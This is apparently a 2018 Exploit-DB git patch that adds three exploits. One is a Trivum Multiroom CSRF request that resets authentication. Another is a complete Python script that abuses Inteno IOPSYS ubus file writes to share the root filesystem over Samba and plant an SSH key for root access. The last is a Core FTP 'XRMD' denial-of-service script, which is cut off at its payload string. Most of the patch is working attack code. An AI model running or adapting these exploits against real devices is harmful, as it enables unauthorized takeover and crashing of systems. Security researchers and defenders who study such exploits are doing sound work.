From cfbfaba0a7532082314b7e676baca9da24ceb991 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Fri, 27 Jul 2018 05:01:45 +0000 Subject: [PATCH] DB: 2018-07-27 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 3 changes to exploits/shellcodes Core FTP 2.0 - 'XRMD' Denial of Service (PoC) Inteno’s IOPSYS - (Authenticated) Local Privilege Escalation Trivum Multiroom Setup Tool 8.76 - Corss-Site Request Forgery (Admin Bypass) --- exploits/hardware/webapps/45088.txt | 19 ++++++ exploits/linux/local/45089.py | 101 ++++++++++++++++++++++++++++ exploits/windows/dos/45091.py | 63 +++++++++++++++++ files_exploits.csv | 3 + 4 files changed, 186 insertions(+) create mode 100644 exploits/hardware/webapps/45088.txt create mode 100755 exploits/linux/local/45089.py create mode 100755 exploits/windows/dos/45091.py diff --git a/exploits/hardware/webapps/45088.txt b/exploits/hardware/webapps/45088.txt new file mode 100644 index 000000000..e47792271 --- /dev/null +++ b/exploits/hardware/webapps/45088.txt @@ -0,0 +1,19 @@ +# Exploit Title: Trivum Multiroom Setup Tool 8.76 - Corss-Site Request Forgery (Admin Bypass) +# Date: 2018-07-25 +# Software Link: [https://world.trivum-shop.de](https://world.trivum-shop.de/) +# https://world.trivum-shop.de/# Version: < 9.34 build 13381 - 12.07.18 +# Category: hardware, webapps +# Tested on: V8.76 - SNR 8604.26 - C4 Professional +# Exploit Author: vulnc0d3c +# CVE: CVE-2018-13859 + +# 1. Description +# MusicCenter / Trivum Multiroom Setup Tool V8.76 - SNR 8604.26 - C4 Professional before V9.34 build 13381 - 12.07.18, +# allow unauthorized remote attackers to reset the authentication via "/xml/system/setAttribute.xml" URL, using GET request +# to the end-point "?id=0&attr=protectAccess&newValue=0" +# (successful attack will allow attackers to login without authorization). + +# 2. Proof of Concept +# GET Request + +http://target/xml/system/setAttribute.xml?id=0&attr=protectAccess&newValue=0 \ No newline at end of file diff --git a/exploits/linux/local/45089.py b/exploits/linux/local/45089.py new file mode 100755 index 000000000..b58c0dd24 --- /dev/null +++ b/exploits/linux/local/45089.py @@ -0,0 +1,101 @@ +#!/usr/bin/python + +import json +import sys +import subprocess +import socket +import os +from websocket import create_connection + +def ubusAuth(host, username, password): + ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"]) + req = json.dumps({"jsonrpc":"2.0","method":"call", + "params":["00000000000000000000000000000000","session","login", + {"username": username,"password":password}], + "id":666}) + ws.send(req) + response = json.loads(ws.recv()) + ws.close() + try: + key = response.get('result')[1].get('ubus_rpc_session') + except IndexError: + return(None) + return(key) + +def ubusCall(host, key, namespace, argument, params={}): + ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"]) + req = json.dumps({"jsonrpc":"2.0","method":"call", + "params":[key,namespace,argument,params], + "id":666}) + ws.send(req) + response = json.loads(ws.recv()) + ws.close() + try: + result = response.get('result')[1] + except IndexError: + if response.get('result')[0] == 0: + return(True) + return(None) + return(result) + +if __name__ == "__main__": + host = "192.168.1.1" + sshkey = "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ==" + user = "user" + pasw = "user" + conf = """[global] + netbios name = IntenoSMB + workgroup = IntenoSMB + server string = IntenoSMB + syslog = 10 + encrypt passwords = true + passdb backend = smbpasswd + obey pam restrictions = yes + socket options = TCP_NODELAY + unix charset = UTF-8 + preferred master = yes + os level = 20 + security = user + guest account = root + smb passwd file = /etc/samba/smbpasswd + interfaces = 192.168.1.1/24 br-lan + bind interfaces only = yes + wide links = no + +[pwn] + path = / + read only = no + guest ok = yes + create mask = 0700 + directory mask = 0700 + force user = root +""" + + print("Authenticating...") + key = ubusAuth(host, user, pasw) + if (not key): + print("Auth failed!") + sys.exit(1) + print("Got key: %s" % key) + + print("Dropping evil Samba config...") + ltc = ubusCall(host, key, "file", "write_tmp", + {"path":"/tmp/etc/smb.conf", "data": conf}) + if (not ltc): + print("Failed to write evil config!") + sys.exit(1) + + print("Creating temp file for key...") + with open(".key.tmp","a+") as file: + file.write(sshkey) + path = os.path.realpath(file.name) + + print("Dropping key...") + subprocess.run("smbclient {0}pwn -U% -c 'put {1} /etc/dropbear/authorized_keys'".format(r"\\\\" + host + r"\\", path), + shell=True, check=True) + print("Key dropped") + + print("Cleaning up...") + os.remove(path) + + print("Exploitation complete. Try \"ssh root@%s\"" % host) \ No newline at end of file diff --git a/exploits/windows/dos/45091.py b/exploits/windows/dos/45091.py new file mode 100755 index 000000000..a1cba5d44 --- /dev/null +++ b/exploits/windows/dos/45091.py @@ -0,0 +1,63 @@ +# Exploit Title: Core FTP 2.0 - 'XRMD' Denial of Service (PoC) +# Date: 2018-07-24 +# Exploit Author: Erik David Martin +# Vendor Homepage: http://www.coreftp.com/ +# Software Link: http://www.coreftp.com/server/download/CoreFTPServer.exe +# Version: Version 2.0, build 653, 32-bit +# Tested on: Windows XP Professional, Version 2002, Service Pack 3 +# CVE: N/A + +# Proof of concept: +# Create a new domain and set IP address +# Use the default certificate by Core FTP Server +# Set base directory +# Create an anonymous user (anonymous:anonymous) for example +# Set a path for the user +# Start the server +# Run exploit: python exploit.py *target ip* anonymous anonymous +# Watch the server crash... +# The exploit will work for any user, and not just anonymous + +import sys +import socket + +try: + host = sys.argv[1] + username = sys.argv[2] + password = sys.argv[3] +except: + print("Usage: exploit.py *target ip* *username* *password*") + sys.exit() + +mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # +mysocket.settimeout(2) + +try: + mysocket.connect((host,21)) + mysocket.recv(1024) + print("\n[+] Connected\n") +except: + print("[-] Error! Could not connect to target") + sys.exit() + +junk = ("asO8M.lFX[Gq<4